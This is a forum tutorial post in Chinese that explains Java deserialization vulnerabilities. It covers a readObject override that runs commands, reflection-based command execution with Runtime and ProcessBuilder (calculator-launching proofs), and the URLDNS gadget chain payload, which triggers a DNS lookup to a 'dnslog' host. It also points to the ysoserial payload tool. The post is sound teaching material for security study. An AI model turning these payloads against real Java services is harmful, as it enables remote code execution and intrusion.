標題:Java反序列化漏洞系列-1

taibeihacker

Moderator

Java 反序列化漏洞系列-1​

1 序列化与反序列化基础​

序列化是讓Java 對象脫離Java 運行環境的一種手段,可以有效的實現多平台之間的通信、對象持久化存儲。

1.1 相关方法​

ObjectOutputStream 類的writeObject() 方法可以實現序列化。按Java 的標準約定是給文件一個.ser 擴展名。
ObjectInputStream 類的readObject() 方法用於反序列化。

1.2 序列化前提​

實現java.io.Serializable 接口才可被反序列化,而且所有屬性必須是可序列化的(用transient 關鍵字修飾的屬性除外,不參與序列化過程)

1.3 漏洞成因​

序列化和反序列化本身並不存在問題。但當輸入的反序列化的數據可被用戶控制,那麼攻擊者即可通過構造惡意輸入,讓反序列化產生非預期的對象,在此過程中執行構造的任意代碼。
反序列化payload 生成工具:https://github.com/frohoff/ysoserial/

2 漏洞基本原理​

2.1 序列化​

序列化後的數據開頭包含兩字節的魔術數字:ACED。接下來是兩字節的版本號0005 的數據。此外還包含了類名、成員變量的類型和個數等。
20210815171931.png-water_print

序列化的數據流以魔術數字和版本號開頭,這個值是在調用ObjectOutputStream 序列化時,由writeStreamHeader 方法寫入:
1
2
3
4
5
6
protected void writeStreamHeader() throws IOException {
//STREAM_MAGIC (2 bytes)0xACED
bout.writeShort(STREAM_MAGIC);
//STREAM_VERSION (2 bytes) 5
bout.writeShort(STREAM_VERSION);
}

2.2 反序列化​

Java程序中類ObjectInputStream 的readObject 方法用來將數據流反序列化為對象。
readObject() 方法在反序列化漏洞中它起到了關鍵作用。如果readObject() 方法被重寫,反序列化該類時調用便是重寫後的readObject() 方法。如果該方法書寫不當的話就有可能引發惡意代碼的執行。
如:
1
2
3
4
5
6
public class Evil implements Serializable {
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
但是,實際中反序列化漏洞的構造比較複雜,而且需要藉助Java 的一些特性,如Java 的反射。

3 Java 反射​

3.1 Java 反射定义​

對於任意一個類,都能夠得到這個類的所有屬性和方法;對於任意一個對象,都能夠調用它的任意方法和屬性;這種動態獲取信息以及動態調用對象方法的功能稱為java 語言的反射機制。
反射是⼤多數語⾔⾥都存在的特性,對象可以通過反射獲取它的類,類可以通過反射拿到所有⽅法(包括私有),拿到的⽅法可以直接調用。總之,通過反射,可以將Java 這種靜態語⾔附加上动态特性
Java 語言雖然不像PHP 那樣存在許多靈活的动态特性,但是通過反射,可以達到一定的效果,如下面這段代碼,在傳入參數值不確定的情況下,該函數的具體作用是未知的。
1
2
3
4
public void execute(String className, String methodName) throws Exception {
Class clazz=Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
在Java 中定義的一個類本身也是一個對象,即java.lang.Class 類的實例,這個實例稱為類對象
類對象表示正在運行的Java 應用程序中的類和接口
類對像沒有公共構造方法,由Java 虛擬機自動構造
類對像用於提供類本身的信息,比如有幾種構造方法, 有多少屬性,有哪些普通方法
要得到類的方法和屬性,首先就要得到該類對象

3.2 获取类对象​

假設現在有一個Person 類:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Person implements Serializable {
private String name;
private Integer age;
public Person(String name, Integer age) {
this.name=name;
this.age=age;
}
public void setName(String name) {
this.name=name;
}
public String getName() {
return this.name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age=age;
}
}
要獲取該類對像一般有三種方法:
class.forName('com.geekby.Person')
Person.class
new Person().getClass()
最常用的是第一種,通過一個字符串即類的全路徑名就可以得到類對象。

3.3 利用类对象创建对象​

與直接new 創建對像不同,反射是先拿到類對象,然後通過類對象獲取構造器對象,再通過構造器對象創建一個對象。
1
2
3
4
5
6
7
8
9
10
11
12
13
package com.geekby;
import java.lang.reflect.*;
public class CreateObject {
public static void main(String[] args) throws Exception {
Class PersonClass=Class.forName('com.geekby.Person');
Constructor constructor=PersonClass.getConstructor(String.class, Integer.class);
Person p=(Person)constructor.newInstance('Geekby', 24);
System.out.println(p.getName());
}
}
方法
說明
getConstructor(Class… parameterTypes)
獲得該類中與參數類型匹配的公有構造方法
getConstructors()
獲得該類的所有公有構造方法
getDeclaredConstructor(Class… parameterTypes)
獲得該類中與參數類型匹配的構造方法
getDeclaredConstructors()
獲得該類所有構造方法

3.4 利用反射调用方法​

1
2
3
4
5
6
7
8
9
10
11
public class CallMethod {
public static void main(String[] args) throws Exception {
Class PersonClass=Class.forName('com.geekby.Person');
Constructor constructor=PersonClass.getConstructor(String.class, Integer.class);
Person p=(Person)constructor.newInstance('Geekby', 24);
Method m=PersonClass.getDeclaredMethod('setName', String.class);
m.invoke(p, 'newGeekby');
System.out.println(p.getName());
}
}
方法
說明
getMethod(String name, Class… parameterTypes)
獲得該類某個公有的方法
getMethods()
獲得該類所有公有的方法
getDeclaredMethod(String name, Class… parameterTypes)
獲得該類某個方法
getDeclaredMethods()
獲得該類所有方法

3.5 通过反射访问属性​

1
2
3
4
5
6
7
8
9
10
11
12
13
public class AccessAttribute {
public static void main(String[] args) throws Exception {
Class PersonClass=Class.forName('com.geekby.Person');
Constructor constructor=PersonClass.getConstructor(String.class, Integer.class);
Person p=(Person) constructor.newInstance('Geekby', 24);
//name是私有屬性,需要先設置可訪問
Field f=PersonClass.getDeclaredField('name');
f.setAccessible(true);
f.set(p, 'newGeekby');
System.out.println(p.getName());
}
}
方法
說明
getField(String name)
獲得某個公有的屬性對象
getFields()
獲得所有公有的屬性對象
getDeclaredField(String name)
獲得某個屬性對
getDeclaredFields()
獲得所有屬性對象

3.6 利用反射执行代码​

1
2
3
4
5
6
7
8
9
10
public class Exec {
public static void main(String[] args) throws Exception {
//java.lang.Runtime.getRuntime().exec('calc');
Class runtimeClass=Class.forName('java.lang.Runtime');
//getRuntime是靜態方法,invoke時不需要傳入對象
Object runtime=runtimeClass.getMethod('getRuntime').invoke(null);
runtimeClass.getMethod('exec', String.class).invoke(runtime,'open /System/Applications/Calculator.app');
}
}
以上代碼中,利用了Java 的反射機制把我們的代碼意圖都利用字符串的形式進行體現,使得原本應該是字符串的屬性,變成了代碼執行的邏輯,而這個機制也是後續的漏洞使用的前提。
tips
invoke 的作用是執行方法,它的第一個參數是:
如果該方法為普通方法,那麼第一個參數是類對象
如果該方法為靜態方法,那麼第一個參數是類或null
此外,另一種常用的執行命令的方式ProcessBuilder,通過反射來獲取其構造函數,然後調用start() 來執行命令:
1
2
Class clazz=Class.forName('java.lang.ProcessBuilder');
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList('calc.exe'))).start();
查看文檔可知:ProcessBuilder 有兩個構造函數:
public ProcessBuilder(ListString command)
public ProcessBuilder(String. command)
上面通過反射的調用方式使用了第一種形式的構造函數。
但是,上述的Payload 用到了Java 裡的強制類型轉換,有時候我們利用漏洞的時候(在表達式上下文中)是沒有這種語法的。因此,仍需利用反射來執行start 方法。
1
2
3
Class clazz=Class.forName('java.lang.ProcessBuilder');
clazz.getMethod('start').invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList('open', '/System/Applications/Calculator.app')));
上述的第二種構造函數如何調用呢?
對於可變長參數,Java 在編譯的時候會編譯成一個數組,也就是說,如下這兩種寫法在底層是等價的:
1
2
public void hello(String[]names){}
public void hello(String.names){}
因此,對於反射來說,如果目標函數里包含可變長參數,傳入數組即可。
1
2
Classclazz=Class.forName('java.lang.ProcessBuilder');
clazz.getConstructor(String[].class)
在調用newInstance 的時候,因為該函數本身接收的是一個可變長參數:
202108172216070.png-water_print

傳給ProcessBuilder 的也是一個可變長參數,二者疊加為一個二維數組,所以整個Payload 如下:
1
2
3
Class clazz=Class.forName('java.lang.ProcessBuilder');
clazz.getMethod('start').invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{'open', '/System/Applications/Calculator.app'}}));

3.7 反序列化漏洞与反射​

在安全研究中,使⽤反射的⼀⼤⽬的,就是繞過某些沙盒。比如,上下文中如果只有Integer 類型的數字,如何獲取到可以執行命令的Runtime 類:
比如可以這樣(偽代碼):1.getClass().forName('java.lang.Runtime')

4 DNSURL gadget 分析​

4.1 调用链​

1
2
3
4
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
payload:
1
2
3
4
5
6
7
8
9
10
HashMap ht=new HashMap();
URL u=new URL('dnslog');
//這裡在序列化時不發送請求,防止在反序列化探測時誤判
Class c=u.getClass();
Field f=c.getDeclaredField('hashCode');
f.setAccessible(true);
f.set(u, 1234);
ht.put(u, 'Geekby');
//把hashcode 改為-1,還原
f.set(u, -1);

4.2 分析​

首先查看HashMap 的ReadObject 方法
202108252101230.png-water_print

339 行:在調用putVal 方法之前會調用hash 方法,查看其源代碼:
202108252102189.png-water_print

899 - 903 行:如果key==null,hashcode 賦值為0。 key 存在的話,則調用key 的hashcode 方法。
在本gadget 中,key 為URL 對象。接著,跟進URL 的hashCode 方法。
202108252104055.png-water_print

URL 類的hashCode 很簡單。如果hashcode 不為-1,則返回hashcode。在序列化構造payload 的時候,需要設置hashcode 為-1 的原因,就是防止進入到hashcode 方法中,進而發送DNS 請求,影響判斷。
當hashcode==-1 ,調用handler 的hashCode 方法。該類的定義在URL 的構造函數中,主要是根據scheme 去決定用什麼類做handler。在這裡是URLStreamHandler 類,跟進URLStreamHandler 的hashcode 方法。
202108252134212.png-water_print

在第359 行,調用getHostAddress 獲取域名對應的IP。
202108252147407.png-water_print

DNSURL 鏈便是利用該處,來觸發DNSLog 發送請求。

参考​

phith0n Java 漫談系列
Java反序列化漏洞原理解析
Java反序列化漏洞從入門到關門
從0開始學Java反序列化漏洞
深入理解JAVA 反序列化漏洞
Java反序列化利用鏈補全計劃
 
返回
上方